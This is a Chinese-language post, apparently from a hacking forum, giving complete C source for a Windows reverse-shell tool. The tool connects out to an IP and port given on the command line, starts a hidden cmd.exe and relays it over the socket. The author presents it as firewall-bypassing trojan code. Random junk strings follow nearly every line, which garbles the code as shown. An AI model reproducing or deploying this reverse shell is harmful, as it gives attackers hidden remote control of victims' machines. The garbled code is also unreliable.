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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 EVDcj,b"^  
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/* ============================== $3^Cp_p6  
Rebound port in Windows NT AkVgFQg" n  
By wind,2006/7 |sPUb;&~  
===============================*/ E8b:MY  
#include  ]YKxJ''u  
#include FZ=xy[q]~  
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#pragma comment(lib,"wsock32.lib") D` 2w>{Y  
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void OutputShell(); V5bB$tL}3  
SOCKET sClient; t`E e/L%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L_R(K89w  
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void main(int argc,char **argv) 0K^?QM|S  
{ -$cO0RSY  
WSADATA stWsaData; Q4F&#^02y  
int nRet; ugS  
SOCKADDR_IN stSaiClient,stSaiServer; dc,qQM  
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if(argc != 3) Ex@o&j\93  
{ jUd)|v+t  
printf("Useage:\n\rRebound DestIP DestPort\n"); WSOz^]  
return; yUEvva  
} dnCurWjdk  
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WSAStartup(MAKEWORD(2,2),&stWsaData); #.@-ng6C  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V3q [ $~9  
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stSaiClient.sin_family = AF_INET; #X qnH  
stSaiClient.sin_port = htons(0); KLgg([  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9i+`,r  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QfRo`l/V9  
{ 1EA#c>I$  
printf("Bind Socket Failed!\n"); Yp EH(tq  
return; :?SD#Vvrh.  
} lwm 9gka  
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stSaiServer.sin_family = AF_INET; 'C) v?!19  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5+a5p C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >Xw0i\G  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @z>DJ>htN  
{ 7R$O ~R3p  
printf("Connect Error!"); jR>`Xz  
return; 8~ u/gM  
} LpN3cy>U  
OutputShell(); heQyz|o  
} PP8627uP  
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void OutputShell() }Dx.;0*:  
{ . Ky)Co  
char szBuff[1024]; 4|;Ys-Q  
SECURITY_ATTRIBUTES stSecurityAttributes; (h'Bz6K  
OSVERSIONINFO stOsversionInfo; ji.T7wn1u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y+nX(@~f]  
STARTUPINFO stStartupInfo; OxN[w|2\4  
char *szShell; }!V-FAL  
PROCESS_INFORMATION stProcessInformation; 'zOB!QqA`v  
unsigned long lBytesRead; H h35cj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  w>\_d  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &pW2R}  
stSecurityAttributes.lpSecurityDescriptor = 0; UT0}Ce>e  
stSecurityAttributes.bInheritHandle = TRUE; 1@n'6!]6O  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n 0g8B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^G4@cR.An  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RoNE7|gF:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0&jy:{  
stStartupInfo.wShowWindow = SW_HIDE; h.q9p!  
stStartupInfo.hStdInput = hReadPipe; Zxh<pd25Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |G_,1$  
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GetVersionEx(&stOsversionInfo); '3?-o|v@D  
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switch(stOsversionInfo.dwPlatformId) G|u)eW  
{ pfHfw,[  
case 1: }m&\I  
szShell = "command.com"; N5zx#g  
break; 3!{Tw6A8(  
default: 5= T$h;O  
szShell = "cmd.exe"; hbEqb{#}@  
break; #4<=Ira5  
} \>x1#Vr>#V  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d:"7Tw2v+  
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send(sClient,szMsg,77,0); #x`K4f)  
while(1) |AS~sjWSJ  
{ Vh>|F}%E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vo(:g6$  
if(lBytesRead) Gn<0Fy2  
{ r dCs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3aU5rbi|B  
send(sClient,szBuff,lBytesRead,0); =J|jCK[r  
} Swh\^/B8  
else TbLU[(m-n  
{ d"L(eI}G  
lBytesRead=recv(sClient,szBuff,1024,0); "Mz#1Laby`  
if(lBytesRead<=0) break; QAAuFZs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Lp/'-Y_  
} X *EseC  
} a~?B/ g&_  
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return; +*,!q7Gt  
}
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